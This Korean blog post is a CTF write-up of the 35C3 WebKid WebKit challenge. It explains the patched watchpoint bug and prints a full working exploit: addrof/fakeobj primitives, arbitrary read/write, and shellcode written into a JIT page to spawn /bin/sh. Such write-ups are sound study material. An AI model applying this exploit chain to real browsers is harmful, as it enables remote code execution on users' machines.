howdays

JIN's Lab

Hacking, Study, Write-up

35c3ctf Webkid ( Watchpoint exploit )

Webkit 은 JIT 코드를 생성할 때 Check 구문을 넣는 대신에 Watchpoint 를 만든다.
예를 들어

arr = [1.1,2.2];

function GetArr() { 
    return arr[0];
}


for(var i=0; i < 100000; i++){ 
    GetArr();
}

arr[0] = {};
GetArr();

GetArr 를 많은 횟수 호출하면서 GetArr 에 대한 JIT코드를 생성하게 된다.
Type confusion 방지를 위해 , V8 같은경우 TurboFan이 JIT코드 상에서 arr에 참고하기전 타입를 체크하는 구문을 추가한다.
Webkit은 V8와 다르게 JIT코드 상에서 arr의 타입을 체크하는 구문을 추가하지 않는다.

하지만 Watchpoint 라는 기능이 있다.
Watchpoint 는 단어 그대로 계속 감시하는(?) 그런 기능라고 생각하면 쉬울 것 같다. 변화가 생길시에 기존에 있던 JIT코드를 버리고 새로운 JIT코드를 생성한다

Watchpoint 를 넣는 경우는 이런 종류가 있다.

  • Structure의 변화
  • 예측하는 값 혹은 타입
  • etc…

위 코드로 설명하자면 , 전에 말했다시피 반복문을 통해 JIT코드가 생성된 상황이다. Watchpoint는 여기서 arr의 Structure (double_array) 이다.
하지만 arr[0] = {}; 를 실행하면서 arr의 Structure가 변경이 되었기 때문에 Watchpoint는 이를 감지하고 JIT코드를 재생성하게 된다. 그리고 GetArr();는 그 변경된 코드를 실행하게 된다.

35c3 CTF WebKid

diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 20fcd4032ce..a75e4ef47ba 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper
     return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot);
 }

+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset)
+{
+    ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
+
+    Structure* previous = structure->previousID();
+    if (!previous)
+        return false;
+
+    unsigned unused;
+    bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
+    if (!isLastAddedProperty)
+        return false;
+
+    RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
+
+    if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
+        ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
+        thisObject->setButterfly(vm, nullptr);
+    }
+
+    thisObject->setStructure(vm, previous);
+
+    return true;
+}
+
 // ECMA 8.6.2.5
 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName)
 {
@@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper

     Structure* structure = thisObject->structure(vm);

-    bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
+    PropertyOffset offset = structure->get(vm, propertyName, attributes);
+    bool propertyIsPresent = isValidOffset(offset);
     if (propertyIsPresent) {
         if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable)
             return false;

-        PropertyOffset offset;
-        if (structure->isUncacheableDictionary())
+        if (structure->isUncacheableDictionary()) {
             offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
-        else
-            thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+        } else {
+            if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
+                thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+            }
+        }

-        if (offset != invalidOffset)
+        if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
             thisObject->locationForOffset(offset)->clear();
     }

diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
index 536481ecd6a..62189fea227 100644
--- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
+++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
@@ -25,6 +25,12 @@
 (deny default (with partial-symbolication))
 (allow system-audit file-read-metadata)

+(allow file-read* (literal "/flag1"))
+
+(allow mach-lookup (global-name "net.saelo.shelld"))
+(allow mach-lookup (global-name "net.saelo.capsd"))
+(allow mach-lookup (global-name "net.saelo.capsd.xpc"))
+
 #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300
 (import "system.sb")
 #else

tryDeletePropertyQuickly 를 간단히 요약하자면
삭제하려는 Property가 마지막으로 추가된 것이면 추가 하기전 Structure 를 가져와서 적용하는 것이다.

취약점은 thisObject->setStructure(vm, previous); 이 부분에서 발생하게 된다.
단순히 setStructure 만으로는 Watchpoint 를 트리거 할 수 없기 때문이다.

let obj = [1.1,2.2];

obj.x = 1.1;

function getOBJ(){
    return obj[0];
}

function setOBJ(value){
    obj[0] = value;
    return obj[0];
}

//make JIT
for(var i = 0; i < 100000; i++){
    getOBJ();
    setOBJ(1.1);
}

delete obj.x;

obj[0] = {};

print(getOBJ());

1 – obj 를 초기화를 한다.

3 – objxout-of-line property 를 만든다.

15 ~ 18 – getOBJ , setOBJ의 JIT코드를 만든다 (추후에 Type confusion을 이용하기 위해). 현재 Watchpointobjx property가 들어있는 structure가 된다.

20 – delete obj.x 를 통해 현재 obj 의 structure는 property를 추가하기 전 상태로 돌아왔다. 하지만 obj 의 structure는 변경 되었지만 Watchpoint 는 아직 property를 추가 한 후를 가르키고 있으므로 현재 obj 의 structure를 검사하지 못한다. 아무리 현재 obj 의 structrure의 형태를 바꿔도 Watchpoint 는 검사하지 못하여 , 생성된 JIT 코드를 그대로 납둔다.
즉, Type confusion 이 나는 것이다.

22 ~ 24 – arr 첫번 째에 object를 넣어주고 getOBJ 를 호출하면 JIT 코드가 돌때 double array 로 처리하여 object의 주소가 Leak된다.

f64 = new Float64Array(1);
u32 = new Uint32Array(f64.buffer);

function d2u(value) {
    f64[0] = value;
    return [u32[0],u32[1]];
}

function u2d(lo,hi) { 
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function hex(tmp) { 
    value = tmp[1] * 0x100000000 + tmp[0];
    return "0x" + value.toString(16);
}

const ITERATIONS = 100000;

function jitCompile(f, ...args) {
    for (var i = 0; i < ITERATIONS; i++) {
        f(...args);
    }
}

jitCompile(function dummy() { return 42; });

function makeJITCompiledFunction() {
    // Some code that can be overwritten by the shellcode.
    function target(num) {
        for (var i = 2; i < num; i++) {
            if (num % i === 0) {
                return "ffff";
            }
        }
        return "tttt";
    }
    jitCompile(target, 123);

    return target;
}

let obj = [1.1,2.2];

obj.x = 1.1;

function getOBJ(){
    return obj[0];
}

function setOBJ(value){
    obj[0] = value;
    return obj[0];
}

function addrof(tmp) { 
    obj[0] = tmp;
    return d2u(getOBJ());
}

function fakeobj(lo,hi) { 
    setOBJ(u2d(lo,hi));
    return obj[0];
}

//make JIT
for(var i = 0; i < 100000; i++){
    getOBJ();
    setOBJ(1.1);
}

delete obj.x;

//for structureID
let structs = [];
for (let i = 0; i < 0x1000; i++) {
  var array = [1.1];
  array.value = u2d(0xdeadbeef,0xdeadbeef);
  structs.push(array);
}

let victim = structs[0x30];

let container = {
    cell : u2d(0x1000, 0x01082007 - 0x10000) ,
    butterfly : victim
};

/*
0x1049c4380: 0x010016000000113f 0x0000000000000000
0x1049c4390: 0x0108200700001000 0x00000001049ac9a0
0x1049c43a0: 0x0000000000000000 0x0000000000000000
 */

containerAddr = addrof(container);
fake_double_array = fakeobj(containerAddr[0]+0x10,containerAddr[1]);

print("container : " + hex(containerAddr));

function read8(lo,hi) { 
    fake_double_array[1] = u2d(lo+0x10,hi);
    return addrof(victim.value);
}

function write4(addr,value) {
    fake_double_array[1] = u2d(addr[0]+0x10,addr[1]);
    victim.value = u2d(value,0);
}

let target = makeJITCompiledFunction();
let jitFunc = addrof(target);

jitFuncContentAddr = read8(jitFunc[0]+0x18,jitFunc[1]);
rwx = read8(jitFuncContentAddr[0]+0x28,jitFuncContentAddr[1]);

print("rwx : " + hex(rwx));

let shellcode = [0x101b848,0x1010101,0x48500101,0x68632eb8,0x69722e6f,0x4314801,0xe7894824,0x3bc0c748,0x48020000,0xc6c7,0xc7480000,0xc2,0x50f00];

/*
push "/bin/sh"
mov rdi , rsp
mov rax , 0x200003b
mov rsi , 0
mov rdx , 0
syscall
*/

for(let i = 0; i < shellcode.length; i++){
    write4([rwx[0]+i*4,rwx[1]],shellcode[i]);
}

target();

References

https://docs.ioin.in/writeup/www.auxy.xyz/_tutorial_Webkit_Exp_Tutorial_/index.html
https://github.com/LinusHenze/35C3_Writeups/tree/master/WebKid
https://lordofpwn.kr/35c3ctf-webkid-exploit/

이제 js exploit은 가끔씩 재미삼아 하고 버그 바운티 타겟 정해서 분석해야겠다

Leave a Reply